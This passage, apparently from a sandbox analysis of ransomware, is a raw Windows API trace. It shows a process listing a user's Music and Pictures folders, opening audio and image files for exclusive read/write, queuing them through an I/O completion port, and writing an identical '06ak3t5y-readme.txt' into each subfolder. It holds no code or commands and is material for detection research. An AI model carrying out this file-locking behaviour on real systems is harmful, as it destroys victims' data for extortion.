ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.522] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x443eea0, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x443eea0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x44415b0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.523] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1afc4470, ftCreationTime.dwHighDateTime=0x1d7556f, ftLastAccessTime.dwLowDateTime=0xbd40a0b0, ftLastAccessTime.dwHighDateTime=0x1d756a9, ftLastWriteTime.dwLowDateTime=0xbd40a0b0, ftLastWriteTime.dwHighDateTime=0x1d756a9, nFileSizeHigh=0x0, nFileSizeLow=0x66c6, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="jM93ILfZ7fDDWsGirI-L.mp3", cAlternateFileName="JM93IL~1.MP3")) returned 1 [0111.523] PathFindExtensionW (pszPath="jm93ilfz7fddwsgiri-l.mp3") returned=".mp3" [0111.523] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x6816) returned 0x535b0f0 [0111.524] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\jM93ILfZ7fDDWsGirI-L.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\7kj_kww8udpe5\\jm93ilfz7fddwsgiri-l.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x498 [0111.524] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xb0) returned 0x3686b88 [0111.529] CreateIoCompletionPort (FileHandle=0x498, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.545] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x535b0f0) returned 1 [0111.545] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cc7ae0, ftCreationTime.dwHighDateTime=0x1d759ac, ftLastAccessTime.dwLowDateTime=0x940dad60, ftLastAccessTime.dwHighDateTime=0x1d75b4e, ftLastWriteTime.dwLowDateTime=0x940dad60, ftLastWriteTime.dwHighDateTime=0x1d75b4e, nFileSizeHigh=0x0, nFileSizeLow=0x661e, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="K1fpgCGFkiRgEGB.mp3", cAlternateFileName="K1FPGC~1.MP3")) returned 1 [0111.545] PathFindExtensionW (pszPath="k1fpgcgfkirgegb.mp3") returned=".mp3" [0111.545] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x676e) returned 0x5361910 [0111.546] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\K1fpgCGFkiRgEGB.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\7kj_kww8udpe5\\k1fpgcgfkirgegb.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x49c [0111.546] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xa6) returned 0x3678b68 [0111.547] CreateIoCompletionPort (FileHandle=0x49c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.547] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x5361910) returned 1 [0111.547] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe6d2560, ftCreationTime.dwHighDateTime=0x1d757ff, ftLastAccessTime.dwLowDateTime=0x4c146af0, ftLastAccessTime.dwHighDateTime=0x1d758f4, ftLastWriteTime.dwLowDateTime=0x4c146af0, ftLastWriteTime.dwHighDateTime=0x1d758f4, nFileSizeHigh=0x0, nFileSizeLow=0x53f1, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="QZ-WGkc_.mp3", cAlternateFileName="")) returned 1 [0111.547] PathFindExtensionW (pszPath="qz-wgkc_.mp3") returned=".mp3" [0111.547] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x5541) returned 0x5368088 [0111.548] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\QZ-WGkc_.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\7kj_kww8udpe5\\qz-wgkc_.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4a0 [0111.548] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x98) returned 0x2080060 [0111.549] CreateIoCompletionPort (FileHandle=0x4a0, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.549] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x5368088) returned 1 [0111.549] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56c8080, ftCreationTime.dwHighDateTime=0x1d753b4, ftLastAccessTime.dwLowDateTime=0x93881e00, ftLastAccessTime.dwHighDateTime=0x1d75a6f, ftLastWriteTime.dwLowDateTime=0x93881e00, ftLastWriteTime.dwHighDateTime=0x1d75a6f, nFileSizeHigh=0x0, nFileSizeLow=0x17698, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="RTlLyJ2xLTGq6.m4a", cAlternateFileName="RTLLYJ~1.M4A")) returned 1 [0111.549] PathFindExtensionW (pszPath="rtllyj2xltgq6.m4a") returned=".m4a" [0111.549] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x177e8) returned 0x536d5d8 [0111.550] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\RTlLyJ2xLTGq6.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\7kj_kww8udpe5\\rtllyj2xltgq6.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4a4 [0111.551] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xa2) returned 0x3678c18 [0111.552] CreateIoCompletionPort (FileHandle=0x4a4, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.552] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x536d5d8) returned 1 [0111.552] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93caa750, ftCreationTime.dwHighDateTime=0x1d74d60, ftLastAccessTime.dwLowDateTime=0xf9f8fae0, ftLastAccessTime.dwHighDateTime=0x1d74df1, ftLastWriteTime.dwLowDateTime=0xf9f8fae0, ftLastWriteTime.dwHighDateTime=0x1d74df1, nFileSizeHigh=0x0, nFileSizeLow=0x9a9f, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="v0woxMWx-oewXBDJR.wav", cAlternateFileName="V0WOXM~1.WAV")) returned 1 [0111.552] PathFindExtensionW (pszPath="v0woxmwx-oewxbdjr.wav") returned=".wav" [0111.552] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x9bef) returned 0x5384dc8 [0111.553] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\v0woxMWx-oewXBDJR.wav" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\7kj_kww8udpe5\\v0woxmwx-oewxbdjr.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4a8 [0111.553] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xaa) returned 0x3686e68 [0111.554] CreateIoCompletionPort (FileHandle=0x4a8, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.554] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x5384dc8) returned 1 [0111.554] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc47140, ftCreationTime.dwHighDateTime=0x1d74f41, ftLastAccessTime.dwLowDateTime=0xbdc1f370, ftLastAccessTime.dwHighDateTime=0x1d7580e, ftLastWriteTime.dwLowDateTime=0xbdc1f370, ftLastWriteTime.dwHighDateTime=0x1d7580e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Vyk4a7cn3j VpZp", cAlternateFileName="VYK4A7~1")) returned 1 [0111.554] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20401e0 [0111.554] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xa0) returned 0x3688e98 [0111.554] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xc6) returned 0x207abb0 [0111.555] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\Vyk4a7cn3j VpZp\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\7kj_kww8udpe5\\vyk4a7cn3j vpzp\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0111.555] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207abb0) returned 1 [0111.555] WriteFile (in: hFile=0x4ac, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0111.556] CloseHandle (hObject=0x4ac) returned 1 [0111.557] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc47140, ftCreationTime.dwHighDateTime=0x1d74f41, ftLastAccessTime.dwLowDateTime=0xbdc1f370, ftLastAccessTime.dwHighDateTime=0x1d7580e, ftLastWriteTime.dwLowDateTime=0xbdc1f370, ftLastWriteTime.dwHighDateTime=0x1d7580e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="vyk4a7cn3j vpzp", cAlternateFileName="VYK4A7~1")) returned 0 [0111.557] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.557] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee440) returned 1 [0111.557] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040080) returned 1 [0111.557] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7987c40, ftCreationTime.dwHighDateTime=0x1d756f7, ftLastAccessTime.dwLowDateTime=0x445c360, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x445c360, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.557] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7987c40, ftCreationTime.dwHighDateTime=0x1d756f7, ftLastAccessTime.dwLowDateTime=0x445c360, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x445c360, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.557] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x445c360, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x445c360, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x445ea70, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.557] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53c97600, ftCreationTime.dwHighDateTime=0x1d7517e, ftLastAccessTime.dwLowDateTime=0x1e9a3c40, ftLastAccessTime.dwHighDateTime=0x1d75a10, ftLastWriteTime.dwLowDateTime=0x1e9a3c40, ftLastWriteTime.dwHighDateTime=0x1d75a10, nFileSizeHigh=0x0, nFileSizeLow=0x8fc6, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="FIhzmxZkGIl0.gif", cAlternateFileName="FIHZMX~1.GIF")) returned 1 [0111.557] PathFindExtensionW (pszPath="fihzmxzkgil0.gif") returned=".gif" [0111.557] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x9116) returned 0x538e9c0 [0111.558] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\FIhzmxZkGIl0.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\fihzmxzkgil0.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4ac [0111.558] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8c) returned 0x2078758 [0111.559] CreateIoCompletionPort (FileHandle=0x4ac, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.559] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x538e9c0) returned 1 [0111.559] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c250b90, ftCreationTime.dwHighDateTime=0x1d74ea1, ftLastAccessTime.dwLowDateTime=0x365dc170, ftLastAccessTime.dwHighDateTime=0x1d7558e, ftLastWriteTime.dwLowDateTime=0x365dc170, ftLastWriteTime.dwHighDateTime=0x1d7558e, nFileSizeHigh=0x0, nFileSizeLow=0x15c02, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="jpeJxtt.png", cAlternateFileName="")) returned 1 [0111.560] PathFindExtensionW (pszPath="jpejxtt.png") returned=".png" [0111.560] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x15d52) returned 0x5397ae0 [0111.561] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\jpeJxtt.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\jpejxtt.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4b0 [0111.561] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x82) returned 0x30a9bd0 [0111.562] CreateIoCompletionPort (FileHandle=0x4b0, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.562] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x5397ae0) returned 1 [0111.562] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ba27420, ftCreationTime.dwHighDateTime=0x1d74e10, ftLastAccessTime.dwLowDateTime=0xc48d6200, ftLastAccessTime.dwHighDateTime=0x1d75a81, ftLastWriteTime.dwLowDateTime=0xc48d6200, ftLastWriteTime.dwHighDateTime=0x1d75a81, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Nqowzc3Uew", cAlternateFileName="NQOWZC~1")) returned 1 [0111.562] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040080 [0111.562] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x82) returned 0x30a9ab0 [0111.562] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xa8) returned 0x3678cc8 [0111.562] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\Nqowzc3Uew\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\nqowzc3uew\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0111.563] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3678cc8) returned 1 [0111.563] WriteFile (in: hFile=0x4b4, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0111.564] CloseHandle (hObject=0x4b4) returned 1 [0111.564] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a844890, ftCreationTime.dwHighDateTime=0x1d74e5a, ftLastAccessTime.dwLowDateTime=0x7c9bf740, ftLastAccessTime.dwHighDateTime=0x1d758b5, ftLastWriteTime.dwLowDateTime=0x7c9bf740, ftLastWriteTime.dwHighDateTime=0x1d758b5, nFileSizeHigh=0x0, nFileSizeLow=0x16ce9, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="qToI3b-WnacY.png", cAlternateFileName="QTOI3B~1.PNG")) returned 1 [0111.564] PathFindExtensionW (pszPath="qtoi3b-wnacy.png") returned=".png" [0111.564] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x16e39) returned 0x53ad840 [0111.565] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\qToI3b-WnacY.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\qtoi3b-wnacy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4b4 [0111.565] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8c) returned 0x20787f0 [0111.567] CreateIoCompletionPort (FileHandle=0x4b4, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.567] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x53ad840) returned 1 [0111.567] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x787fa50, ftCreationTime.dwHighDateTime=0x1d759df, ftLastAccessTime.dwLowDateTime=0xe53a9ab0, ftLastAccessTime.dwHighDateTime=0x1d75b0b, ftLastWriteTime.dwLowDateTime=0xe53a9ab0, ftLastWriteTime.dwHighDateTime=0x1d75b0b, nFileSizeHigh=0x0, nFileSizeLow=0x18b3b, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="W7fIh.jpg", cAlternateFileName="")) returned 1 [0111.567] PathFindExtensionW (pszPath="w7fih.jpg") returned=".jpg" [0111.567] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x18c8b) returned 0x53c4688 [0111.568] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\W7fIh.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\w7fih.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4b8 [0111.568] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x7e) returned 0x367af90 [0111.569] CreateIoCompletionPort (FileHandle=0x4b8, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.570] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x53c4688) returned 1 [0111.570] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x787fa50, ftCreationTime.dwHighDateTime=0x1d759df, ftLastAccessTime.dwLowDateTime=0xe53a9ab0, ftLastAccessTime.dwHighDateTime=0x1d75b0b, ftLastWriteTime.dwLowDateTime=0xe53a9ab0, ftLastWriteTime.dwHighDateTime=0x1d75b0b, nFileSizeHigh=0x0, nFileSizeLow=0x18b3b, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="w7fih.jpg", cAlternateFileName="")) returned 0 [0111.570] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.570] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068900) returned 1 [0111.570] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040300) returned 1 [0111.570] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb2e8fe0, ftCreationTime.dwHighDateTime=0x1d75049, ftLastAccessTime.dwLowDateTime=0x4461180, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x4461180, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.570] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb2e8fe0, ftCreationTime.dwHighDateTime=0x1d75049, ftLastAccessTime.dwLowDateTime=0x4461180, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x4461180, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.570] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ee2840, ftCreationTime.dwHighDateTime=0x1d7505a, ftLastAccessTime.dwLowDateTime=0x68e863e0, ftLastAccessTime.dwHighDateTime=0x1d751e5, ftLastWriteTime.dwLowDateTime=0x68e863e0, ftLastWriteTime.dwHighDateTime=0x1d751e5, nFileSizeHigh=0x0, nFileSizeLow=0x5634, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="-JijMimDr93k95CNN.png", cAlternateFileName="-JIJMI~1.PNG")) returned 1 [0111.570] PathFindExtensionW (pszPath="-jijmimdr93k95cnn.png") returned=".png" [0111.570] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x5784) returned 0x53dd320 [0111.571] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\-JijMimDr93k95CNN.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\-jijmimdr93k95cnn.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4bc [0111.571] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x90) returned 0x2078888 [0111.572] CreateIoCompletionPort (FileHandle=0x4bc, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.572] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x53dd320) returned 1 [0111.572] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4461180, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x4461180, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x4463890, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.572] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0077ea0, ftCreationTime.dwHighDateTime=0x1d74da4, ftLastAccessTime.dwLowDateTime=0xc97daac0, ftLastAccessTime.dwHighDateTime=0x1d75cae, ftLastWriteTime.dwLowDateTime=0xc97daac0, ftLastWriteTime.dwHighDateTime=0x1d75cae, nFileSizeHigh=0x0, nFileSizeLow=0x87c5, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="4A9u_vMESz0L.png", cAlternateFileName="4A9U_V~1.PNG")) returned 1 [0111.572] PathFindExtensionW (pszPath="4a9u_vmesz0l.png") 